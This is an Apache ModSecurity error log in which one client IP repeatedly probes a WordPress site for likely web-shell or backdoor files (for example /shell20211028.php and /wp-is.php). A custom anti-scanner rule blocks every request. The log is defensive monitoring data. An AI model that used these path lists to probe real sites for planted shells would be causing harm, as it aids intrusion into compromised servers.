[Sat Feb 07 09:23:38.538350 2026] [:error] [pid 43182:tid 43185] [client 74.248.113.199:39050] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aYaUGvEC82JnxmrnFYkZlgAAAUE"]
[Sat Feb 07 09:23:39.070740 2026] [:error] [pid 43182:tid 43208] [client 74.248.113.199:39048] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aYaUG_EC82JnxmrnFYkZmwAAAVg"]
[Sat Feb 07 09:23:39.756210 2026] [:error] [pid 50672:tid 50715] [client 74.248.113.199:39049] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aYaUGw9o0jq1XS8Nv7O-qQAAAEc"]
[Sat Feb 07 09:23:40.371273 2026] [:error] [pid 50671:tid 50696] [client 74.248.113.199:41586] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aYaUHLvqLohWBI_mqBMfOgAAABA"]
[Sat Feb 07 09:23:40.932177 2026] [:error] [pid 50673:tid 50743] [client 74.248.113.199:39063] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYaUHGVwLsaZ7aKO2ck8uAAAAIg"]
[Sat Feb 07 09:23:42.038672 2026] [:error] [pid 50673:tid 50758] [client 74.248.113.199:43567] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYaUHmVwLsaZ7aKO2ck8ugAAAJc"]
[Sat Feb 07 09:23:42.862694 2026] [:error] [pid 43182:tid 43204] [client 74.248.113.199:5944] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYaUHvEC82JnxmrnFYkZnAAAAVQ"]
[Sat Feb 07 09:23:43.774991 2026] [:error] [pid 43182:tid 43201] [client 74.248.113.199:37110] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYaUH_EC82JnxmrnFYkZngAAAVE"]
[Sat Feb 07 09:23:44.614077 2026] [:error] [pid 50671:tid 50699] [client 74.248.113.199:37063] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aYaUILvqLohWBI_mqBMfQgAAABM"]
[Sat Feb 07 09:23:45.429265 2026] [:error] [pid 43182:tid 43207] [client 74.248.113.199:41029] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aYaUIfEC82JnxmrnFYkZogAAAVc"]
[Sat Feb 07 09:23:47.093601 2026] [:error] [pid 55157:tid 55185] [client 74.248.113.199:34962] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aYaUI336JdtTn2bTEowz-QAAARc"]
[Sat Feb 07 09:23:48.209604 2026] [:error] [pid 50672:tid 50719] [client 74.248.113.199:28682] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aYaUJA9o0jq1XS8Nv7O-sAAAAEs"]
[Sat Feb 07 09:23:49.129436 2026] [:error] [pid 55157:tid 55171] [client 74.248.113.199:42105] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aYaUJX36JdtTn2bTEowz_QAAAQk"]
[Sat Feb 07 09:23:49.987308 2026] [:error] [pid 43182:tid 43188] [client 74.248.113.199:40521] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aYaUJfEC82JnxmrnFYkZpgAAAUQ"]
[Sat Feb 07 09:23:50.929767 2026] [:error] [pid 43182:tid 43204] [client 74.248.113.199:41583] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aYaUJvEC82JnxmrnFYkZqgAAAVQ"]
[Sat Feb 07 09:23:51.769959 2026] [:error] [pid 55157:tid 55177] [client 74.248.113.199:37623] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aYaUJ336JdtTn2bTEow0AQAAAQ8"]
[Sat Feb 07 09:23:52.597007 2026] [:error] [pid 50671:tid 50697] [client 74.248.113.199:37810] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/json.php"] [unique_id "aYaUKLvqLohWBI_mqBMfSQAAABE"]
[Sat Feb 07 09:23:53.379570 2026] [:error] [pid 55157:tid 55186] [client 74.248.113.199:41591] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/json.php"] [unique_id "aYaUKX36JdtTn2bTEow0AwAAARg"]
[Sat Feb 07 09:23:54.219395 2026] [:error] [pid 50673:tid 50759] [client 74.248.113.199:43571] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/json.php"] [unique_id "aYaUKmVwLsaZ7aKO2ck8wgAAAJg"]
[Sat Feb 07 09:23:55.119635 2026] [:error] [pid 43182:tid 43192] [client 74.248.113.199:41111] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/json.php"] [unique_id "aYaUK_EC82JnxmrnFYkZrAAAAUg"]
[Sat Feb 07 09:23:56.116837 2026] [:error] [pid 43182:tid 43205] [client 74.248.113.199:36877] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hzz.php"] [unique_id "aYaULPEC82JnxmrnFYkZrwAAAVU"]
[Sat Feb 07 09:23:57.243481 2026] [:error] [pid 50672:tid 50712] [client 74.248.113.199:39053] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hzz.php"] [unique_id "aYaULQ9o0jq1XS8Nv7O-swAAAEQ"]
[Sat Feb 07 09:23:57.907218 2026] [:error] [pid 50671:tid 50699] [client 74.248.113.199:36886] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hzz.php"] [unique_id "aYaULbvqLohWBI_mqBMfUgAAABM"]
[Sat Feb 07 09:23:58.629788 2026] [:error] [pid 43182:tid 43195] [client 74.248.113.199:42917] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hzz.php"] [unique_id "aYaULvEC82JnxmrnFYkZswAAAUs"]
[Sat Feb 07 09:23:59.494164 2026] [:error] [pid 50672:tid 50721] [client 74.248.113.199:34975] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aYaULw9o0jq1XS8Nv7O-tQAAAE0"]
[Sat Feb 07 09:24:00.507343 2026] [:error] [pid 43182:tid 43200] [client 74.248.113.199:41099] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aYaUMPEC82JnxmrnFYkZtwAAAVA"]
[Sat Feb 07 09:24:01.463902 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:41130] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aYaUMfEC82JnxmrnFYkZuQAAAUY"]
[Sat Feb 07 09:24:09.945448 2026] [:error] [pid 43182:tid 43194] [client 74.248.113.199:35210] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/"] [unique_id "aYaUOfEC82JnxmrnFYkZzwAAAUo"]
[Sat Feb 07 09:24:12.244713 2026] [:error] [pid 43182:tid 43184] [client 74.248.113.199:41124] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/"] [unique_id "aYaUPPEC82JnxmrnFYkZ0QAAAUA"]
[Sat Feb 07 09:24:13.450197 2026] [:error] [pid 43182:tid 43199] [client 74.248.113.199:41121] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/"] [unique_id "aYaUPfEC82JnxmrnFYkZ1QAAAU8"]
[Sat Feb 07 09:24:14.222067 2026] [:error] [pid 43182:tid 43206] [client 74.248.113.199:42939] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/"] [unique_id "aYaUPvEC82JnxmrnFYkZ1wAAAVY"]
[Sat Feb 07 09:24:15.541933 2026] [:error] [pid 55157:tid 55168] [client 74.248.113.199:27455] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaUP336JdtTn2bTEow0FwAAAQY"]
[Sat Feb 07 09:24:16.572288 2026] [:error] [pid 55157:tid 55172] [client 74.248.113.199:41555] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaUQH36JdtTn2bTEow0GgAAAQo"]
[Sat Feb 07 09:24:17.236008 2026] [:error] [pid 55157:tid 55167] [client 74.248.113.199:59984] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaUQX36JdtTn2bTEow0JAAAAQU"]
[Sat Feb 07 09:24:18.044738 2026] [:error] [pid 50780:tid 50789] [client 74.248.113.199:42057] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aYaUQutUmIu2JHM2Crvm0gAAAMc"]
[Sat Feb 07 09:24:18.716511 2026] [:error] [pid 50780:tid 50801] [client 74.248.113.199:36236] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaUQutUmIu2JHM2Crvm1AAAANM"]
[Sat Feb 07 09:24:23.663748 2026] [:error] [pid 43182:tid 43197] [client 74.248.113.199:35327] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaUR_EC82JnxmrnFYkZ6gAAAU0"]
[Sat Feb 07 09:24:24.333731 2026] [:error] [pid 50673:tid 50745] [client 74.248.113.199:62428] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaUSGVwLsaZ7aKO2ck83wAAAIo"]
[Sat Feb 07 09:24:25.399623 2026] [:error] [pid 43182:tid 43191] [client 74.248.113.199:35340] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaUSfEC82JnxmrnFYkZ7AAAAUc"]
[Sat Feb 07 09:24:26.485433 2026] [:error] [pid 50673:tid 50742] [client 74.248.113.199:39166] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aYaUSmVwLsaZ7aKO2ck84QAAAIc"]
[Sat Feb 07 09:24:27.582041 2026] [:error] [pid 55157:tid 55171] [client 74.248.113.199:43580] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aYaUS336JdtTn2bTEow0NAAAAQk"]
[Sat Feb 07 09:24:28.462188 2026] [:error] [pid 55157:tid 55170] [client 74.248.113.199:39654] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aYaUTH36JdtTn2bTEow0NgAAAQg"]
[Sat Feb 07 09:24:29.099468 2026] [:error] [pid 55157:tid 55186] [client 74.248.113.199:34327] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aYaUTX36JdtTn2bTEow0OAAAARg"]
[Sat Feb 07 09:24:29.896215 2026] [:error] [pid 50780:tid 50805] [client 74.248.113.199:34871] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp4.php"] [unique_id "aYaUTetUmIu2JHM2Crvm2QAAANc"]
[Sat Feb 07 09:24:30.487226 2026] [:error] [pid 55157:tid 55173] [client 74.248.113.199:36887] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp4.php"] [unique_id "aYaUTn36JdtTn2bTEow0PAAAAQs"]
[Sat Feb 07 09:24:31.144400 2026] [:error] [pid 50673:tid 50738] [client 74.248.113.199:41602] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp4.php"] [unique_id "aYaUT2VwLsaZ7aKO2ck84gAAAIM"]
[Sat Feb 07 09:24:31.762783 2026] [:error] [pid 55157:tid 55182] [client 74.248.113.199:5285] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp4.php"] [unique_id "aYaUT336JdtTn2bTEow0QAAAARQ"]
[Sat Feb 07 09:24:33.070572 2026] [:error] [pid 50673:tid 50737] [client 74.248.113.199:34624] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYaUUWVwLsaZ7aKO2ck85AAAAII"]
[Sat Feb 07 09:24:33.952412 2026] [:error] [pid 50672:tid 50724] [client 74.248.113.199:38565] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYaUUQ9o0jq1XS8Nv7O-5AAAAFA"]
[Sat Feb 07 09:24:34.681229 2026] [:error] [pid 50672:tid 50720] [client 74.248.113.199:34835] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYaUUg9o0jq1XS8Nv7O-5QAAAEw"]
[Sat Feb 07 09:24:35.427889 2026] [:error] [pid 50673:tid 50750] [client 74.248.113.199:38868] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aYaUU2VwLsaZ7aKO2ck85QAAAI8"]
[Sat Feb 07 09:24:36.352259 2026] [:error] [pid 50671:tid 50694] [client 74.248.113.199:41603] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aYaUVLvqLohWBI_mqBMffwAAAA4"]
[Sat Feb 07 09:24:37.176846 2026] [:error] [pid 43182:tid 43191] [client 74.248.113.199:36234] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aYaUVfEC82JnxmrnFYkZ9gAAAUc"]
[Sat Feb 07 09:24:37.757218 2026] [:error] [pid 55157:tid 55167] [client 74.248.113.199:35062] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aYaUVX36JdtTn2bTEow0SAAAAQU"]
[Sat Feb 07 09:24:38.841059 2026] [:error] [pid 50671:tid 50688] [client 74.248.113.199:14552] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aYaUVrvqLohWBI_mqBMfhAAAAAg"]
